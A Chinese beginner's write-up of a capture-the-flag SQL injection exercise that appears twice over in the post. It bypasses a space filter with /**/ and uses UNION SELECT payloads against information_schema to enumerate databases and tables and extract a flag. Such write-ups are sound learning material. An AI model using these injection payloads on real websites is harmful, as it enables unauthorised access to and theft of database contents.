简单的sql注入举例(分享一个简单的sql注入)
简单的sql注入举例
分享一个简单的sql注入所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入攻击。
分别输入1,2,3有对应的结果
使用'会报错,于是
构造常用的sql语句:1' and '1'='1
没有反应试一试1' and '1'='2
还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试
1and1=1
可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格
试一试1'/**/and/**/'1'='1
发现有结果了:
于是构建sql语句:
判断有那些数据库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到结果:
查看有哪些数据表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!
根据页面提示,到底过滤了什么东西?可以知道一定过滤了什么....
分别输入1,2,3有对应的结果
使用'会报错,于是
构造常用的sql语句:1' and '1'='1
没有反应试一试1' and '1'='2
还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试
1and1=1
可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格
试一试1'/**/and/**/'1'='1
发现有结果了:
于是构建sql语句:
判断有那些数据库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到结果:
查看有哪些数据表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
总结
以上所述是小编给大家介绍的一个简单的sql注入,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对开心学习网网站的支持!
- mysql查看慢查询(MySQL 慢查询日志深入理解)
- mysql 主从配置详解(MySQL 8.0.15配置MGR单主多从的方法)
- sql server提供的聚合函数(SQLServer行列互转实现思路聚合函数)
- sql server 分布式事务(Sql Server事务语法及使用方法实例分析)
- 常见的mysql优化策略(MySQL pt-slave-restart工具的使用简介)
- sqlserver序列可以自定义(sql server 自定义分割月功能详解及实现代码)
- sql server中dense_rank和row_number的区别
- MySQL中interactive_timeout和wait_timeout
- sql server 视图操作(Sql Server 视图数据的增删改查教程)
- mysql如何给一个表批量添加字段(mysql从一张表查询批量数据并插入到另一表中的完整实例)
- SQL SERVER与MySQL数据类型的对应关系
- mysql查询时间格式化(MySQL时间格式化)
- SQL Server表误删记录如何恢复
- sqlserver配置管理器不见了(SQL Server配置管理器无法连接到WMI提供程序)
- 使用mysqldump命令来备份(linux使用mysqldump+expect+crontab实现mysql周期冷备份思路详解)
- mysql按端口查找配置(MySQL中给定父行找到所有子行的解决方案)
- 这里输入关键词(请手动输入关键词)
- 小说 顾瑾岚拿出一套飞行棋,别说你连飞行棋都不会哦(顾瑾岚拿出一套飞行棋)
- 金品公司 界界乐中秋限定飞行棋礼盒 露营藤篮礼盒全新上市(界界乐中秋限定飞行棋礼盒)
- 必看 8月,相比七夕,更需要注意的是这些事(必看8月相比七夕)
- 8月23日11时16分将迎处暑,逐渐进入气象意义上的秋天(8月23日11时16分将迎处暑)
- 花不语 下 如果重来一次的话,你还会这么选择吗(花不语下如果重来一次的话)
热门推荐
- python用列表实现一个定时器(python 定时器,实现每天凌晨3点执行的方法)
- jquery中return this.each的作用
- 阿里云ecs 更换操作系统(为什么禁用阿里云ECS的内网后不能使用云监控?)
- php开发中用什么模板(PHP模版引擎原理、定义与用法实例)
- ubuntu内核升级指定版本(Ubuntu12.04建立内核树实现过程详解)
- css3所有动画(CSS3常见动画的实现方式)
- 宝塔怎么开放端口(宝塔面板修改默认端口以及一些常用端口的安全设置)
- kafka 单机安装(在Linux环境下安装Kafka)
- Web开发中的几个建议
- apachephp安装配置教程交流(Apache中利用mod_rewrite实现防盗链)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9